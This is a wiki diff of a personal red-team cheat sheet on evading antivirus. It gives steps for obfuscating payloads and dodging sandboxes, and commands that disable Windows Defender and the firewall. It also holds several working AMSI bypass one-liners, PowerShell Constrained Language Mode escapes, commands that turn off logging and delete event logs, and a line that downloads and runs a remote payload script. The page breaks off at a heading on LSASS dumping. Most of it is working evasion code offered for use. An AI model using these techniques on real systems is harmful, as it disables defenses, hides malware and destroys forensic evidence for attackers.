Offensive Security/AV Evasion: Difference between revisions

From Wiki Aghanim
Jump to navigationJump to search
imported>Aghanim
No edit summary
 
No edit summary
 
Line 1: Line 1:
[[File:2023-02-814005a0-c66d-4aea-aa5f-50d6153f2d54.jpeg|thumb]]
[[File:2023-02-814005a0-c66d-4aea-aa5f-50d6153f2d54.jpeg|thumb]]


= Source =
= Source =


* [https://tryhackme.com/room/avevasionshellcode TryHackMe | AV Evasion: Shellcode]
* [https://tryhackme.com/room/avevasionshellcode TryHackMe | AV Evasion: Shellcode]


* [https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect WSAConnect function (winsock2.h) - Win32 apps | Microsoft Learn]
* [https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect WSAConnect function (winsock2.h) - Win32 apps | Microsoft Learn]


* [https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low Direct Syscalls: A journey from high to low - RedOps - English]
* [https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low Direct Syscalls: A journey from high to low - RedOps - English]


* [https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/ Raspberry Robin: Anti-Evasion How-To & Exploit Analysis - Check Point Research]
* [https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/ Raspberry Robin: Anti-Evasion How-To & Exploit Analysis - Check Point Research]


* [https://vanmieghem.io/process-injection-evading-edr-in-2023/ Process injection in 2023, evading leading EDRs | Vincent Van Mieghem]
* [https://vanmieghem.io/process-injection-evading-edr-in-2023/ Process injection in 2023, evading leading EDRs | Vincent Van Mieghem]


* [https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/ redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/]
* [https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/ redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/]


* [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] - GREATE SOURCE FOR EVASION TECHNIQUES
* [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] - GREATE SOURCE FOR EVASION TECHNIQUES


* Win32 API calls are well documented under the [https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list Windows API documentation] and [http://pinvoke.net/ pinvoke.net].
* Win32 API calls are well documented under the [https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list Windows API documentation] and [http://pinvoke.net/ pinvoke.net].


* Document and organize all available API calls with malicious vectors, including [https://www.sans.org/white-papers/33649/ SANs] and [http://malapi.io/ MalAPI.io].
* Document and organize all available API calls with malicious vectors, including [https://www.sans.org/white-papers/33649/ SANs] and [http://malapi.io/ MalAPI.io].


* OffensiveCPP [https://github.com/lsecqt/OffensiveCpp lsecqt/OffensiveCpp: This repo contains C/C++ snippets that can be handy in specific offensive scenarios. (github.com)]
* OffensiveCPP [https://github.com/lsecqt/OffensiveCpp lsecqt/OffensiveCpp: This repo contains C/C++ snippets that can be handy in specific offensive scenarios. (github.com)]


* [https://github.com/sinfulz/JustEvadeBro sinfulz/JustEvadeBro: JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses. (github.com)]
* [https://github.com/sinfulz/JustEvadeBro sinfulz/JustEvadeBro: JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses. (github.com)]


* [https://book.hacktricks.xyz/windows-hardening/av-bypass Antivirus (AV) Bypass - HackTricks]
* [https://book.hacktricks.xyz/windows-hardening/av-bypass Antivirus (AV) Bypass - HackTricks]


* [https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf AV Evasion 101 - YouTube]
* [https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf AV Evasion 101 - YouTube]


* [https://amsi.fail/ AMSI.fail]
* [https://amsi.fail/ AMSI.fail]


* https://www.vx-underground.org/
* https://www.vx-underground.org/


* [https://ethicalchaos.dev/ Ethical Chaos - Personal InfoSec development blog]
* [https://ethicalchaos.dev/ Ethical Chaos - Personal InfoSec development blog]


* [https://vanmieghem.io/blog/ Blog | Vincent Van Mieghem]
* [https://vanmieghem.io/blog/ Blog | Vincent Van Mieghem]


* [https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates AV Bypass with Metasploit Templates and Custom Binaries - Red Team Notes (ired.team)]
* [https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates AV Bypass with Metasploit Templates and Custom Binaries - Red Team Notes (ired.team)]


= Good tools =
= Good tools =


* [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn] - Monitor process in detail
* [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn] - Monitor process in detail


* [https://processhacker.sourceforge.io/ Overview - Process Hacker (sourceforge.io)] - A '''free''', powerful, multi-purpose tool that helps you '''monitor system resources''', '''debug software''' and '''detect malware'''.
* [https://processhacker.sourceforge.io/ Overview - Process Hacker (sourceforge.io)] - A '''free''', powerful, multi-purpose tool that helps you '''monitor system resources''', '''debug software''' and '''detect malware'''.


= Malware forums/channels/discord =
= Malware forums/channels/discord =


* [https://discord.com/invite/red-team-vx-community-1012733841229746240 Read-Team VX community]
* [https://discord.com/invite/red-team-vx-community-1012733841229746240 Read-Team VX community]


* Havoc Framework discord
* Havoc Framework discord


* Hacktricks discord
* Hacktricks discord


* OnlyMalware Discord (Need to write intro)
* OnlyMalware Discord (Need to write intro)


= Test payload against AV =
= Test payload against AV =


* [https://virustotal.com https://virustotal.com] (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors.
* [https://virustotal.com https://virustotal.com] (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors.


* [https://antiscan.me https://antiscan.me]
* [https://antiscan.me https://antiscan.me]


* [https://virusscan.jotti.org/en-US/scan-file Jotti's malware scan] ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.)
* [https://virusscan.jotti.org/en-US/scan-file Jotti's malware scan] ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.)


= Defcon - Writing custom backdoor payloads with C# =
= Defcon - Writing custom backdoor payloads with C# =


[https://github.com/mvelazc0/defcon27_csharp_workshop GitHub - mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# - Defcon 27 Workshop]
[https://github.com/mvelazc0/defcon27_csharp_workshop GitHub - mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# - Defcon 27 Workshop]


[https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf WritingCustomPayloads_Defcon27_LabGuide][https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf Download]
[https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf WritingCustomPayloads_Defcon27_LabGuide][https://blog.aghanim.net/wp-content/uploads/2023/06/WritingCustomPayloads_Defcon27_LabGuide.pdf Download]


----
----


= Step by Step for obfuscating code =
= Step by Step for obfuscating code =


* '''Rename Variables''': Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.
* '''Rename Variables''': Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.


* '''Use different method for injection. '''Don't rely on VirtualAlloc, as that would be flagged easily.
* '''Use different method for injection. '''Don't rely on VirtualAlloc, as that would be flagged easily.


* '''Remove Whitespace and Formatting''': Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.
* '''Remove Whitespace and Formatting''': Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.


* '''Split Strings''': Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.
* '''Split Strings''': Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.


* '''Use Obfuscated Logic''': Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior.
* '''Use Obfuscated Logic''': Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior.


* '''Add Dummy Code''': Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.
* '''Add Dummy Code''': Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.


* '''Replace Constants''': Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value <code>1</code>, you could use a calculation like <code>Math.Sqrt(1)</code>.
* '''Replace Constants''': Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value <code>1</code>, you could use a calculation like <code>Math.Sqrt(1)</code>.


* '''Remove or Modify Comments''': Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.
* '''Remove or Modify Comments''': Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.


* '''Code Rearrangement''': Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.
* '''Code Rearrangement''': Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.


* '''Use Hexadecimal or Binary Representation''': Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.
* '''Use Hexadecimal or Binary Representation''': Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.


* '''Code Fragmentation''': Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.
* '''Code Fragmentation''': Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.


* '''U'''se [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]''': '''Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement.
* '''U'''se [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]''': '''Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement.


* '''Use threatcheck or defendercheck:''' You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.
* '''Use threatcheck or defendercheck:''' You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.


----
----


= AV Evasion MindMap - From Start to finish =
= AV Evasion MindMap - From Start to finish =


[https://www.thehacker.recipes/evasion/av (AV) Anti-Virus - The Hacker Recipes]
[https://www.thehacker.recipes/evasion/av (AV) Anti-Virus - The Hacker Recipes]


[[File:2023-06-Bypass-AV-1.svg|thumb]]
[[File:2023-06-Bypass-AV-1.svg|thumb]]


----
----


= General AV Evasion cheatsheet =
= General AV Evasion cheatsheet =


== Check AV - Running, Exclusion, Disable ==
== Check AV - Running, Exclusion, Disable ==


* Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code>
* Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code>


* Get info about Windows Defender: <code>Get-MpPreference</code>
* Get info about Windows Defender: <code>Get-MpPreference</code>


* Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code>
* Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code>


* Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code>
* Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code>


* Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code>
* Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code>


* Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code>
* Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code>


* Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code>
* Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code>


* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1


* Enumerate AV / EDR: https://github.com/tothi/serviceDetector
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
// What AV is running on the system
// What AV is running on the system
// Importing necessary namespaces
// Importing necessary namespaces
using System;
using System;
using System.Management;
using System.Management;
internal class Program
internal class Program
{
{
Line 210: Line 142:
         var status = false; // Variable to track the presence of antivirus software
         var status = false; // Variable to track the presence of antivirus software
         Console.WriteLine("[+] Antivirus check is running .. ");
         Console.WriteLine("[+] Antivirus check is running .. ");
         // Array of antivirus processes to check for
         // Array of antivirus processes to check for
         string[] AV_Check = {
         string[] AV_Check = {
Line 218: Line 149:
             "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
             "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
         };
         };
         // Creating a ManagementObjectSearcher to query Windows processes
         // Creating a ManagementObjectSearcher to query Windows processes
         var searcher = new ManagementObjectSearcher("select * from win32_process");
         var searcher = new ManagementObjectSearcher("select * from win32_process");
         var processList = searcher.Get(); // Retrieving the list of processes
         var processList = searcher.Get(); // Retrieving the list of processes
         int i = 0;
         int i = 0;
         foreach (var process in processList)
         foreach (var process in processList)
Line 236: Line 165:
             i++;
             i++;
         }
         }
         // Checking the status variable to determine if antivirus software was found or not
         // Checking the status variable to determine if antivirus software was found or not
         if (!status)
         if (!status)
Line 244: Line 172:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


== Windows Firewall ==
== Windows Firewall ==


* Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code>
* Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code>


* Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code>
* Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code>


* Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code>
* Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code>


* Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code>
* Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code>


* Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code>
* Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code>


* Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code>
* Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code>


* Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code>
* Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code>


== Powershell - ASMI bypass methods, Disable AV, etc ==
== Powershell - ASMI bypass methods, Disable AV, etc ==


[https://amsi.fail/ AMSI.fail]
[https://amsi.fail/ AMSI.fail]


=== AMSI Bypass ===
=== AMSI Bypass ===


* Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code>
* Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code>


* Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code>
* Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code>


* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:


'''If patched, just change up the strings/variables.'''
'''If patched, just change up the strings/variables.'''


Single-line bypasses:
Single-line bypasses:


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
</syntaxhighlight>
</syntaxhighlight>


Multi-line bypass:
Multi-line bypass:


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
Line 310: Line 217:
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)
$field.SetValue ($null,$true)
</syntaxhighlight>
</syntaxhighlight>


Single-line bypasses:
Single-line bypasses:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
</syntaxhighlight>
</syntaxhighlight>


Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
</syntaxhighlight>
</syntaxhighlight>


Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it's originally from Matt Graeber)
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it's originally from Matt Graeber)


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
</syntaxhighlight>
</syntaxhighlight>


Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]


=== Bypass CLM (Constrained Language Mode) ===
=== Bypass CLM (Constrained Language Mode) ===


Escapes for Constrained Language Mode:
Escapes for Constrained Language Mode:


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
Line 355: Line 248:
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
# Escape 4
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
# Escape 5
# Escape 5
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
# Escape 6
# Escape 6
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
# Escape 7
# Escape 7
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
Line 390: Line 277:
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
# Escape 8
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
</syntaxhighlight>
</syntaxhighlight>


=== Bypass logging ===
=== Bypass logging ===


Logging evasion techniques:
Logging evasion techniques:


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
Line 407: Line 289:
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
</syntaxhighlight>
</syntaxhighlight>


=== Disable MS Defender (Require elevation) ===
=== Disable MS Defender (Require elevation) ===


Turning off Windows Defender: 
Turning off Windows Defender: 


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 433: Line 309:
Set-MPPreference -DisableIntrusionPreventionSystem $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
</syntaxhighlight>
</syntaxhighlight>


=== Add folder exclusion ===
=== Add folder exclusion ===


Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code>
Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code>


Checking exclusions
Checking exclusions


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Get-MpPreference | Select-Object -Property ExclusionPath
Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
ExclusionPath
-------------
-------------
{C:\temp}
{C:\temp}
</syntaxhighlight>
</syntaxhighlight>


=== LSASS dumping without triggering Defender ===
